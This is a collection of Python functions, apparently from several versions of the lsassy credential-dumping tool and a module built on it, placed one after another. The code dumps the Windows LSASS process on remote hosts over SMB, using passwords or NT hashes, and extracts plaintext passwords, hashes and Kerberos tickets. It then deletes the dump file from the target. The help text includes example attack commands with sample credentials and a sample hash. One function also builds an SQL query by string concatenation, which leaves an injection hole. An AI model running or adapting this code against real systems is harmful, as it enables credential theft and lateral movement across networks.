def run_lsassy( self, context, connection ): # Couldn't figure out how to properly retrieve output from the module without editing. Blatantly ripped from lsassy_dump.py. Thanks pixis - @hackanddo! logger.init(quiet=True) host = connection.host domain_name = connection.domain username = connection.username password = getattr(connection, "password", "") lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") session = Session() session.get_session(address=host, target_ip=host, port=445, lmhash=lmhash, nthash=nthash, username=username, password=password, domain=domain_name) if session.smb_session is None: context.log.error( "Couldn't connect to remote host. Password likely expired/changed. Removing from DB." ) cursor.execute( "UPDATE admin_users SET hash = NULL WHERE username LIKE '" + username + "'") return False dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method) if dumper is None: context.log.error("Unable to load dump method '{}'".format( self.method)) return False file = dumper.dump() if file is None: context.log.error("Unable to dump lsass") return False credentials, tickets, masterkeys = Parser(file).parse() file.close() ImpacketFile.delete(session, file.get_file_path()) if credentials is None: credentials = [] credentials = [ cred.get_object() for cred in credentials if not cred.get_username().endswith("$") ] credentials_unique = [] credentials_output = [] for cred in credentials: if [ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"] ] not in credentials_unique: credentials_unique.append([ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"] ]) credentials_output.append(cred) global credentials_data credentials_data = credentials_output
def on_admin_login(self, context, connection): logger.init(quiet=True) host = connection.host domain_name = connection.domain username = connection.username password = getattr(connection, "password", "") lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") session = Session() session.get_session(address=host, target_ip=host, port=445, lmhash=lmhash, nthash=nthash, username=username, password=password, domain=domain_name) if session.smb_session is None: context.log.error("Couldn't connect to remote host") return False dumper = Dumper(session, timeout=10).load(self.method) if dumper is None: context.log.error("Unable to load dump method '{}'".format( self.method)) return False file = dumper.dump() if file is None: context.log.error("Unable to dump lsass") return False credentials, tickets = Parser(file).parse() file.close() ImpacketFile.delete(session, file.get_file_path()) if credentials is None: credentials = [] credentials = [ cred.get_object() for cred in credentials if not cred.get_username().endswith("$") ] credentials_unique = [] credentials_output = [] for cred in credentials: if [ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"] ] not in credentials_unique: credentials_unique.append([ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"] ]) credentials_output.append(cred) self.process_credentials(context, connection, credentials_output)
def main(): """ Command line function to call lsassy """ version = __version__ parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format( __version__)) group_dump = parser.add_argument_group('dump') group_dump.add_argument('-m', '--dump-method', action='store', default="comsvcs", help="Dumping method ({})".format(', '.join( Dumper.list_dump_methods()))) group_dump.add_argument( '--dump-path', action='store', help='Path to store lsass dumpfile (Default: \\Windows\\Temp)') group_dump.add_argument( '--dump-name', action='store', help='Name given to lsass dumpfile (Default: Random)') group_dump.add_argument( '-e', '--exec', action='store', help='List of execution methods, comma separated (From {})'.format( ', '.join(Dumper.list_exec_methods()))) group_dump.add_argument('--no-powershell', action='store_true', help='Disable PowerShell') group_dump.add_argument( '--copy', action='store_true', help='Copies cmd or powershell with random name before using it') group_dump.add_argument( '-O', '--options', action='store', help= 'Dump module options (Example procdump_path=/opt/procdump.exe,procdump=procdump.exe' ) group_dump.add_argument( '--timeout', action='store', type=int, default=5, help='Max time to wait for lsass dump (Default 5s)') group_dump.add_argument('--parse-only', action='store_true', help='Parse dump without dumping') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('-u', '--username', action='store', help='Username') group_auth.add_argument('-p', '--password', action='store', help='Plaintext password') group_auth.add_argument('-d', '--domain', default="", action='store', help='Domain name') group_auth.add_argument('--port', default=445, type=int, action='store', help='Port (Default: 445)') group_auth.add_argument('--no-pass', action='store_true', help='Do not provide password (Default: False)') group_auth.add_argument('-H', '--hashes', action='store', help='[LM:]NT hash') group_auth.add_argument( '-k', '--kerberos', action="store_true", help= 'Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on ' 'target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command line') group_auth.add_argument( '-dc-ip', action='store', metavar="ip address", help= 'IP Address of the domain controller. If omitted it will use the domain part (FQDN) ' 'specified in the target parameter') group_auth.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group_out = parser.add_argument_group('output') group_out.add_argument('-K', '--kerberos-dir', action='store', help='Save kerberos tickets to a directory') group_out.add_argument('-o', '--outfile', action='store', help='Output credentials to file') group_out.add_argument('-f', '--format', choices=["pretty", "json", "grep", "table"], action='store', default="pretty", help='Output format (Default pretty)') group_out.add_argument( '--users', action='store_true', help='Only display user accounts (No computer accounts)') parser.add_argument('-v', action='count', default=0, help='Verbosity level (-v or -vv)') parser.add_argument('--threads', default=10, type=int, action='store', help='Threads number') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument( 'target', nargs='*', type=str, action='store', help= 'The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) ' 'containing a list of targets') if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() ThreadPool(args.target, args).run()
def run(self): """ Main method to dump credentials on a remote host """ session, file, dumper, method = None, None, None, None # Credential parsing username = self.args.username if self.args.username else "" password = self.args.password if self.args.password else "" lmhash, nthash = "", "" if not password and self.args.hashes: if ":" in self.args.hashes: lmhash, nthash = self.args.hashes.split(":") else: lmhash, nthash = 'aad3b435b51404eeaad3b435b51404ee', self.args.hashes # Exec methods parsing exec_methods = self.args.exec.split(",") if self.args.exec else None # Dump modules options parsing options = { v.split("=")[0]: v.split("=")[1] for v in self.args.options.split(",") } if self.args.options else {} # Dump path checks dump_path = self.args.dump_path if dump_path: dump_path = dump_path.replace('/', '\\') if len(dump_path) > 1 and dump_path[1] == ":": if dump_path[0] != "C": logging.error( "Drive '{}' is not supported. 'C' drive only.".format( dump_path[0])) return False dump_path = dump_path[2:] if dump_path[-1] != "\\": dump_path += "\\" parse_only = self.args.parse_only kerberos_dir = self.args.kerberos_dir if parse_only and (dump_path is None or self.args.dump_name is None): logging.error( "--dump-path and --dump-name required for --parse-only option") return False try: session = Session() session.get_session(address=self.target, target_ip=self.target, port=self.args.port, lmhash=lmhash, nthash=nthash, username=username, password=password, domain=self.args.domain, aesKey=self.args.aesKey, dc_ip=self.args.dc_ip, kerberos=self.args.kerberos, timeout=self.args.timeout) if session.smb_session is None: logging.error("Couldn't connect to remote host") return False if not parse_only: dumper = Dumper(session, self.args.timeout).load(self.args.dump_method) if dumper is None: logging.error("Unable to load dump module") return False file = dumper.dump(no_powershell=self.args.no_powershell, exec_methods=exec_methods, dump_path=dump_path, dump_name=self.args.dump_name, timeout=self.args.timeout, **options) if file is None: logging.error("Unable to dump lsass.") return False else: file = ImpacketFile(session).open(share="C$", path=dump_path, file=self.args.dump_name, timeout=self.args.timeout) if file is None: logging.error("Unable to open lsass dump.") return False credentials, tickets = Parser(file).parse() file.close() if not parse_only: ImpacketFile.delete(session, file.get_file_path(), timeout=self.args.timeout) logging.success("Lsass dump successfully deleted") else: logging.debug( "Not deleting lsass dump as --parse-only was provided") if credentials is None: logging.error( "Unable to extract credentials from lsass. Cleaning.") return False with lock: Writer(credentials, tickets).write(self.args.format, output_file=self.args.outfile, quiet=self.args.quiet, users_only=self.args.users, kerberos_dir=kerberos_dir) except KeyboardInterrupt: pass except Exception as e: logging.error("An unknown error has occurred.", exc_info=True) finally: logging.debug("Cleaning...") logging.debug("dumper: {}".format(dumper)) logging.debug("file: {}".format(file)) logging.debug("session: {}".format(session)) try: dumper.clean() logging.debug("Dumper cleaned") except Exception as e: logging.debug( "Potential issue while cleaning dumper: {}".format(str(e))) try: file.close() logging.debug("File closed") except Exception as e: logging.debug("Potential issue while closing file: {}".format( str(e))) if not parse_only: try: if ImpacketFile.delete(session, file_path=file.get_file_path(), timeout=self.args.timeout): logging.debug("Lsass dump successfully deleted") except Exception as e: try: logging.debug( "Couldn't delete lsass dump using file. Trying dump object..." ) if ImpacketFile.delete(session, file_path=dumper.dump_path + dumper.dump_name, timeout=self.args.timeout): logging.debug("Lsass dump successfully deleted") except Exception as e: logging.debug( "Potential issue while deleting lsass dump: {}". format(str(e))) try: session.smb_session.close() logging.debug("SMB session closed") except Exception as e: logging.debug( "Potential issue while closing SMB session: {}".format( str(e)))
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Try all methods ** lsassy -m 0 adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q [email protected] lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawTextHelpFormatter ) group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument('-m', '--method', action='store', default="1", help='''Dumping method 0: Try all methods to dump procdump, stop on success (Requires -p if dll method fails) 1: comsvcs.dll method, stop on success (default) 2: Procdump method, stop on success (Requires -p) 3: comsvcs.dll + Powershell method, stop on success 4: comsvcs.dll + cmd.exe method''') parser.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') parser.add_argument('-p', '--procdump', action='store', help='Procdump path') parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) file_path = args.dumppath dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) file_path = dumper.dump() if not file_path: logger.error("lsass could not be dumped") exit() logger.success("Process lsass.exe is being dumped") ifile = ImpacketFile(logger) ifile.open(conn, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close()
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Try all methods ** lsassy -m 0 adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q [email protected] lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawTextHelpFormatter) group_dump = parser.add_argument_group('dump') group_dump.add_argument('-m', '--method', action='store', default="1", help='''Dumping method 0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails) 1: comsvcs.dll method, stop on success (default) 2: Procdump method, stop on success (Requires -p) 3: comsvcs.dll + Powershell method, stop on success 4: comsvcs.dll + cmd.exe method''') group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') group_dump.add_argument('-p', '--procdump', action='store', help='Procdump path') group_dump.add_argument( '--timeout', default="10", action='store', help='Timeout before considering lsass was not dumped successfully') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument( '--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument( '-r', '--raw', action='store_true', help= 'No basic result filtering (Display host credentials and duplicates)') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) if isinstance(conn, RetCode): return_code = conn lsassy_exit(logger, return_code) return_code = conn.isadmin() if not return_code.success(): conn.close() lsassy_exit(logger, return_code) dumper = None ifile = None try: if not args.dumppath: dumper = Dumper(conn, args, logger) ifile = dumper.dump() if isinstance(ifile, RetCode): return_code = ifile else: logger.success("Process lsass.exe has been dumped") else: ifile = ImpacketFile(conn, logger).open(args.dumppath) if not isinstance(ifile, ImpacketFile): return_code = ifile if return_code.success(): dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) except KeyboardInterrupt as e: print("\nQuitting gracefully...") return_code = RetCode(ERROR_USER_INTERRUPTION) except Exception as e: return_code = RetCode(ERROR_UNDEFINED, e) pass finally: try: ifile.close() except Exception as e: pass if dumper is not None: dumper.clean() conn.close() lsassy_exit(logger, return_code)
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -P /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy -p C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q -p C$/Windows/Temp/lsass.dmp [email protected] lsassy --hashes 952c28bd2fd728898411b301475009b7 [email protected] lsassy -d adsec.local/pixis:[email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter) group_auth = parser.add_argument_group('procdump (default DLL)') group_auth.add_argument('-p', '--procdump', action='store', help='procdump path') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument( '--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument('-r', '--raw', action='store_true', help='Raw results without filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) file_path = args.dumppath dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) if args.procdump: file_path = dumper.dump("procdump") else: file_path = dumper.dump("dll") if not file_path: exit() ifile = ImpacketFile(logger) ifile.open(conn, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close()